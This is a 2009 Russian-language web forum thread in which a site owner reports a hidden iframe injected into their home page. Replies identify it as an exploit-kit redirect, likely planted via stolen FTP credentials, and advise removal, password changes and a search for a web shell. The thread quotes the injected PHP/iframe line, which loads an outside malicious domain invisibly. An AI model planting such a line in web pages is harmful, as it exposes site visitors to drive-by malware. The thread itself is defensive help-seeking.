Просмотр полной версии : Новый вирус фрейма?
Только что обнаружил у себя на главной сайта вирус. Смотрел код и нашёл его:
echo "<iframe src=\"http://internetcountercheck.com/?click=23681765\" width=1 height=1 style=\"visibility:hidden;position:absolute\"></iframe>";
Новая мода вирусов или шо? И что он делает?
берегись, за табой уже выехали...
Blackcat95
15.02.2009, 17:17
удали этот фрейм с главной и поменяй пароли фтп
Имеется информация, что этот сайт атакует компьютеры!
Имеется информация о том, что сайт www.internetcountercheck.com используется для атак на компьютеры пользователей. В соответствии с вашими настройками безопасности он был заблокирован.
Сайты, атакующие компьютеры, пытаются установить программное обеспечение, которое похищает персональную информацию, вредит вашей системе или использует ваш компьютер для атак на другие компьютеры.
Некоторые сайты намеренно созданы для распространения зловредного программного обеспечения, однако многие сайты были взломаны и делают это без ведома или разрешения своих владельцев.
internetcountercheck.com
фтп? а он при чём там? =-о
гугль уже не в моде?
_http://forum.4dle.ru/topic8180.html?pid=37091&st=0&#entry37091
_http://www.google.ru/search?q=internetcountercheck.com&ie=utf-8&oe=utf-8&aq=t&rls=org.mozilla:ru:official&client=firefox-a
"Смотрел код и наел его:" - может "нашел это:"? Мдя...
Какой это вирус? Люди ломанули сайт и зарабатывают ищи ешще чего... может пинчем угнали пароль может еще что...
была подобная проблема полгода назад. Захожу на свой сайт, антивирус ругнулся, я аж офигел((((
Удалил, сменил пасс фтп. На след день таже хрень(
На некоторых соседних сайтах тоже этот код. Написал хостеру, трояна нашли у него.
N19hTW0lF
15.02.2009, 18:14
фтп пароль поменяй хостера
K1nD[e]R
15.02.2009, 22:58
Сплоит повесили и тащут на етом траф..
удаляй фрейм (фтп в принцепе не обязательно)
+ ищи шелл)
vBulletin® v3.8.14, Copyright ©2000-2026, vBulletin Solutions, Inc. Перевод: zCarot